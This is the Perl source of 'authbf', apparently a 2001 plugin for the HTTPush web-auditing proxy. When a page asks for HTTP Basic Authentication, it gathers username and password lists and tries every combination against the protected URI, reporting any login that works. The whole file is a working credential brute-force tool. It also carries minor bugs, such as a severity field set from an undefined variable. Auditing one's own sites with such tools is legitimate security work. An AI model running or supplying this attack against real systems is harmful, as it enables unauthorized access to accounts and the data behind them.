#!/usr/bin/perl
# authbf, a HTTPush plugin by Lluis Mora
# Bruteforces Basic Authentication protected resources, based on usernames gathered from website
#
# $Id: authbf,v 1.2 2001/10/28 22:13:03 jfs Exp $

use plugins::httpush;

use IO::Socket;

$|=1;

my %req;
my @kvl;

my $method="GET";
my $protocol="HTTP/1.0";

while($line=<STDIN>) {

#  print STDERR "authbf> $line";

  chomp($line);

  if(! $line) {
    ProcessRequest(\%req);
    # Clean req;
    %req=undef;
    @kvl=();
  }

  if(! $req{'opcode'}) {
    if($line=~/(\w+)\s+(\d+)\.(\d+)/) {
      $req{'opcode'}=$1;
      $req{'version'}="$2.$3";
    }
  } else {
    ($key, $val) = split(":",$line,2);
    $val=httpush::decode($val);
  
    if(defined $key && defined $val) {
		  my %kv;
      $kv{'k'}=$key;
      $kv{'v'}=$val;

      push (@{$req{kv}}, \%kv);
    }
  }
}

sub ProcessRequest {
  my %req=%{shift(@_)};
  my @kvl;

  if($req{'opcode'} eq "identify") {
    my $plugin_name=httpush::encode("authbf");
    my $plugin_description=httpush::encode("Brute force pages that require HTTP authentication");
    my $plugin_noise=httpush::encode("70");

    chomp($plugin_name);
    chomp($plugin_description);
    chomp($plugin_event);
    chomp($plugin_noise);

    print "register 1.0\n";
    print "name:$plugin_name\n";
    print "description:$plugin_description\n";

    my $plugin_event=httpush::encode("received");
    print "event:$plugin_event\n";

    print "noise:$plugin_noise\n";
    print "\n";
  } elsif($req{'opcode'} eq "received") {
    my $timestamp=time();
    my $content, $request_uri, $id;	

    foreach $x (@{$req{'kv'}}) {
      %kv=%$x;

      if($kv{'k'} eq "content") {
        $content=$kv{'v'};
      } elsif ($kv{'k'} eq "uri") {
        $request_uri=$kv{'v'};
      } elsif ($kv{'k'} eq "id") {
        $id=$kv{'v'};
      }
    }

    if($request_uri) {
      @content=split("\n",$content);
      my ($protocol, $code)=$content[0]=~/([^\s]+)\s+(\d+)/;

	    if($code == 401) {
        $URIS{"$id"}{"uri"}=$request_uri;
#        print STDERR "ASKING FOR USERLIST\n";
        httpush::retrieve($id, "/organization/username/");
        httpush::retrieve($id, "/organization/password/");
      }

#      httpush::req($method, $request_uri."#", $protocol, $id, 0); # Not with LWP...
    }
  } elsif($req{'opcode'} eq "data") {
    my $timestamp=time();
    my $content, $key, $id;

    foreach $x (@{$req{'kv'}}) {
      %kv=%$x;

      if($kv{'k'} eq "content") {
        $content=$kv{'v'};
      } elsif ($kv{'k'} eq "section") {
        $section=$kv{'v'};
      } elsif ($kv{'k'} eq "id") {
        $id=$kv{'v'};
      }
    }

    if($section eq "/organization/username/") {
      $URIS{"$id"}{"usernames"}=$content;
    } elsif ($section eq "/organization/password/") {
      $URIS{"$id"}{"passwords"}=$content;
    }

    if(defined $URIS{"$id"}{"uri"} && defined $URIS{"$id"}{"usernames"} && defined $URIS{"$id"}{"passwords"}) {
      $userlist=$URIS{"$id"}{"usernames"};
      $passlist=$URIS{"$id"}{"passwords"};

      $uri=$URIS{"$id"}{"uri"};

      delete $URIS{"$id"};

      do_bf($uri, $userlist, $passlist, $id);
    }
  } elsif($req{'opcode'} eq "res") {
    my $timestamp=time();
    my $content, $request_uri, $id;

    foreach $x (@{$req{'kv'}}) {
      %kv=%$x;

      if($kv{'k'} eq "content") {
        $content=$kv{'v'};
      } elsif ($kv{'k'} eq "id") {
        $id=$kv{'v'};
      }
    }

    if(defined $content && defined $id) {
      my($id, $uri, $user, $pass)=split(" ", $id, 4);

      @content=split("\n",$content);

      my ($protocol, $code)=$content[0]=~/([^\s]+)\s+(\d+)/;

      if($code != 401) {
        $uri=httpush::decode($uri);
        $user=httpush::decode($user);
        $pass=httpush::decode($pass);

        my $vuln=httpush::encode("Found login information for $uri, username: \"$user\" password: \"$pass\"");
        my $level=httpush::encode('80');
        my $title=httpush::encode("Login information found");
        $id=httpush::encode($id);

        print "vuln 1.0\n";
        print "level:$zero\n";
        print "title:$title\n";
        print "content:$vuln\n";
        print "id:$id\n";
        print "\n";
      } else {
#        print STDERR "Bad luck, got code $code\n";
      }
    }
  }
}

sub do_bf {
  my ($uri, $userlist, $passlist, $id) = @_;
  my ($scheme, $site_uri);

#  print STDERR "authbf> Doing bruteforce on $uri ($userlist) ($passlist)!\n";

  foreach $user (split("\n",$userlist)) {
    $headers{'Authorization'}="Basic ".httpush::encode("$user:$user");
    httpush::req("GET", $uri, "HTTP/1.0", "$id ".httpush::encode("$uri")." ".httpush::encode("$user")." ".httpush::encode("$user"), 0, \%headers);

    foreach $pass (split("\n",$passlist)) {

      $headers{'Authorization'}="Basic ".httpush::encode("$user:$pass");
      httpush::req("GET", $uri, "HTTP/1.0", "$id ".httpush::encode("$uri")." ".httpush::encode("$user")." ".httpush::encode("$pass"), 0, \%headers);
    }
  }
}
